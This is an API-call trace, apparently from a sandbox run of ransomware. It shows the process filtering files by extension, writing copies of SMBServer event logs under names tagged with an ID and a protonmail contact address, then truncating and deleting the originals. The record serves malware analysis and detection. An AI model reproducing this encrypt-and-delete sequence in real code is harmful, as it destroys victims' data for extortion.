	[0076.300] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0076.300] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54
	[0076.300] lstrlenW (lpString=".dbf") returned 4
	[0076.300] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0076.300] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54
	[0076.300] lstrlenW (lpString=".1cd") returned 4
	[0076.300] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0076.300] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54
	[0076.301] lstrlenW (lpString=".jpg") returned 4
	[0076.301] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0076.301] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54
	[0076.301] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54
	[0076.301] lstrlenW (lpString=".doc") returned 4
	[0076.301] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0076.301] lstrlenW (lpString=".docx") returned 5
	[0076.301] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0076.301] lstrlenW (lpString=".pdf") returned 4
	[0076.301] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0076.301] lstrlenW (lpString=".xls") returned 4
	[0076.301] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0076.301] lstrlenW (lpString=".xlsx") returned 5
	[0076.301] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0076.301] lstrlenW (lpString=".ppt") returned 4
	[0076.301] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0076.301] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54
	[0076.301] lstrlenW (lpString=".zip") returned 4
	[0076.301] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0076.301] lstrlenW (lpString=".rar") returned 4
	[0076.301] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0076.301] lstrlenW (lpString=".bz2") returned 4
	[0076.301] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0076.301] lstrlenW (lpString=".7z") returned 3
	[0076.301] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0076.301] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54
	[0076.301] lstrlenW (lpString=".dbf") returned 4
	[0076.301] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0076.301] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54
	[0076.301] lstrlenW (lpString=".1cd") returned 4
	[0076.301] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0076.302] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54
	[0076.302] lstrlenW (lpString=".jpg") returned 4
	[0076.302] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0076.302] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0076.302] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Audit.evtx") returned 39
	[0076.302] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0076.302] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=69632) returned 1
	[0076.302] CloseHandle (hObject=0x388) returned 1
	[0076.302] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx")) returned 0x20
	[0076.302] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0076.302] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0076.303] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.303] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.303] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0076.303] GetLastError () returned 0x0
	[0076.303] ReadFile (in: hFile=0x388, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0076.306] WriteFile (in: hFile=0x2c0, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0076.308] ReadFile (in: hFile=0x388, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.308] WriteFile (in: hFile=0x2c0, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x122, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x122, lpOverlapped=0x0) returned 1
	[0076.308] SetEndOfFile (hFile=0x2c0) returned 1
	[0076.308] CloseHandle (hObject=0x2c0) returned 1
	[0076.310] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.310] SetEndOfFile (hFile=0x388) returned 1
	[0076.312] CloseHandle (hObject=0x388) returned 1
	[0076.312] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0076.312] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4audit.evtx")) returned 1
	[0076.312] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47
	[0076.312] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47
	[0076.312] lstrlenW (lpString=".doc") returned 4
	[0076.312] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0076.312] lstrlenW (lpString=".docx") returned 5
	[0076.312] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0076.312] lstrlenW (lpString=".pdf") returned 4
	[0076.312] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0076.312] lstrlenW (lpString=".xls") returned 4
	[0076.312] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0076.312] lstrlenW (lpString=".xlsx") returned 5
	[0076.312] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0076.312] lstrlenW (lpString=".ppt") returned 4
	[0076.313] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0076.313] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47
	[0076.313] lstrlenW (lpString=".zip") returned 4
	[0076.313] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0076.313] lstrlenW (lpString=".rar") returned 4
	[0076.313] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0076.313] lstrlenW (lpString=".bz2") returned 4
	[0076.313] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0076.313] lstrlenW (lpString=".7z") returned 3
	[0076.313] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0076.313] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47
	[0076.313] lstrlenW (lpString=".dbf") returned 4
	[0076.313] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0076.313] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47
	[0076.313] lstrlenW (lpString=".1cd") returned 4
	[0076.313] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0076.313] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47
	[0076.313] lstrlenW (lpString=".jpg") returned 4
	[0076.313] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0076.313] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47
	[0076.313] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47
	[0076.313] lstrlenW (lpString=".doc") returned 4
	[0076.313] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0076.313] lstrlenW (lpString=".docx") returned 5
	[0076.313] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0076.313] lstrlenW (lpString=".pdf") returned 4
	[0076.313] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0076.313] lstrlenW (lpString=".xls") returned 4
	[0076.313] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0076.313] lstrlenW (lpString=".xlsx") returned 5
	[0076.313] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0076.313] lstrlenW (lpString=".ppt") returned 4
	[0076.314] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0076.314] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47
	[0076.314] lstrlenW (lpString=".zip") returned 4
	[0076.314] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0076.314] lstrlenW (lpString=".rar") returned 4
	[0076.314] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0076.314] lstrlenW (lpString=".bz2") returned 4
	[0076.314] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0076.314] lstrlenW (lpString=".7z") returned 3
	[0076.314] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0076.314] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47
	[0076.314] lstrlenW (lpString=".dbf") returned 4
	[0076.314] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0076.314] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47
	[0076.314] lstrlenW (lpString=".1cd") returned 4
	[0076.314] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0076.314] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 47
	[0076.314] lstrlenW (lpString=".jpg") returned 4
	[0076.314] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0076.314] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0076.314] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 46
	[0076.314] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0076.315] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=69632) returned 1
	[0076.315] CloseHandle (hObject=0x388) returned 1
	[0076.316] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx")) returned 0x20
	[0076.316] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0076.317] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0076.317] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.317] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.317] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0076.317] GetLastError () returned 0x0
	[0076.317] ReadFile (in: hFile=0x388, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0076.319] WriteFile (in: hFile=0x2c0, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0076.321] ReadFile (in: hFile=0x388, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.321] WriteFile (in: hFile=0x2c0, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x130, lpOverlapped=0x0) returned 1
	[0076.321] SetEndOfFile (hFile=0x2c0) returned 1
	[0076.322] CloseHandle (hObject=0x2c0) returned 1
	[0076.324] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.324] SetEndOfFile (hFile=0x388) returned 1
	[0076.325] CloseHandle (hObject=0x388) returned 1
	[0076.325] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0076.325] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx")) returned 1
	[0076.326] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54
	[0076.326] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54
	[0076.326] lstrlenW (lpString=".doc") returned 4
	[0076.326] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0076.326] lstrlenW (lpString=".docx") returned 5
	[0076.326] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0076.326] lstrlenW (lpString=".pdf") returned 4
	[0076.326] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0076.326] lstrlenW (lpString=".xls") returned 4
	[0076.326] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0076.326] lstrlenW (lpString=".xlsx") returned 5
	[0076.326] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0076.326] lstrlenW (lpString=".ppt") returned 4
	[0076.326] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0076.326] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54
	[0076.326] lstrlenW (lpString=".zip") returned 4
	[0076.326] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0076.326] lstrlenW (lpString=".rar") returned 4
	[0076.326] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0076.326] lstrlenW (lpString=".bz2") returned 4
	[0076.326] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0076.326] lstrlenW (lpString=".7z") returned 3
	[0076.326] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0076.326] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54
	[0076.326] lstrlenW (lpString=".dbf") returned 4
	[0076.326] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0076.326] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54
	[0076.326] lstrlenW (lpString=".1cd") returned 4
	[0076.326] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0076.326] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54
	[0076.326] lstrlenW (lpString=".jpg") returned 4
	[0076.326] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0076.327] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54
	[0076.327] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54
	[0076.327] lstrlenW (lpString=".doc") returned 4
	[0076.327] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0076.327] lstrlenW (lpString=".docx") returned 5
	[0076.327] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0076.327] lstrlenW (lpString=".pdf") returned 4
	[0076.327] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0076.327] lstrlenW (lpString=".xls") returned 4
	[0076.327] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0076.327] lstrlenW (lpString=".xlsx") returned 5
	[0076.327] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0076.327] lstrlenW (lpString=".ppt") returned 4
	[0076.327] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0076.327] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54
	[0076.327] lstrlenW (lpString=".zip") returned 4
	[0076.327] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0076.327] lstrlenW (lpString=".rar") returned 4
	[0076.327] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0076.327] lstrlenW (lpString=".bz2") returned 4
	[0076.327] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0076.327] lstrlenW (lpString=".7z") returned 3
	[0076.327] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0076.327] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54
	[0076.327] lstrlenW (lpString=".dbf") returned 4
	[0076.327] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0076.327] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54
	[0076.327] lstrlenW (lpString=".1cd") returned 4
	[0076.327] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0076.327] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 54
	[0076.327] lstrlenW (lpString=".jpg") returned 4
	[0076.328] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0076.328] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0076.328] lstrlenW (lpString="Microsoft-Windows-SMBServer%4Operational.evtx") returned 45
	[0076.328] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0076.328] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=69632) returned 1
	[0076.328] CloseHandle (hObject=0x388) returned 1
	[0076.328] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx")) returned 0x20
	[0076.328] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0076.328] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0076.328] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.328] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.328] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0076.799] GetLastError () returned 0x0
	[0076.799] ReadFile (in: hFile=0x388, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0076.802] WriteFile (in: hFile=0x38c, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0076.804] ReadFile (in: hFile=0x388, lpBuffer=0x3cd1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesRead=0x311fecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.804] WriteFile (in: hFile=0x38c, lpBuffer=0x3cd1020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x311fc94, lpOverlapped=0x0 | out: lpBuffer=0x3cd1020*, lpNumberOfBytesWritten=0x311fc94*=0x12e, lpOverlapped=0x0) returned 1
	[0076.804] SetEndOfFile (hFile=0x38c) returned 1
	[0076.804] CloseHandle (hObject=0x38c) returned 1
	[0076.806] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.806] SetEndOfFile (hFile=0x388) returned 1
	[0076.807] CloseHandle (hObject=0x388) returned 1
	[0076.808] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0076.808] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-smbserver%4operational.evtx")) returned 1
	[0076.810] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53
	[0076.810] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53
	[0076.810] lstrlenW (lpString=".doc") returned 4
	[0076.810] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0076.810] lstrlenW (lpString=".docx") returned 5
	[0076.810] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0076.810] lstrlenW (lpString=".pdf") returned 4
	[0076.810] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0076.811] lstrlenW (lpString=".xls") returned 4
	[0076.811] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0076.811] lstrlenW (lpString=".xlsx") returned 5
	[0076.811] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0076.811] lstrlenW (lpString=".ppt") returned 4
	[0076.811] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0076.811] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53
	[0076.811] lstrlenW (lpString=".zip") returned 4
	[0076.811] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0076.811] lstrlenW (lpString=".rar") returned 4
	[0076.811] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0076.811] lstrlenW (lpString=".bz2") returned 4
	[0076.811] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0076.811] lstrlenW (lpString=".7z") returned 3
	[0076.811] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0076.811] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53
	[0076.811] lstrlenW (lpString=".dbf") returned 4
	[0076.811] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0076.811] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53
	[0076.811] lstrlenW (lpString=".1cd") returned 4
	[0076.811] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0076.811] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53
	[0076.811] lstrlenW (lpString=".jpg") returned 4
	[0076.811] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0076.811] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53
	[0076.811] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 53
	[0076.811] lstrlenW (lpString=".doc") returned 4
	[0076.811] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0076.811] lstrlenW (lpString=".docx") returned 5
	[0076.811] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0076.811] lstrlenW (lpString=".pdf") returned 4
	[0076.812] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0076.812] lstrlenW (lpString=".xls") returned 4
	[0076.812] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0076.812] lstrlenW (lpString=".xlsx") returned 5
	[0076.812] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0076.812] lstrlenW (lpString=".ppt") returned 4
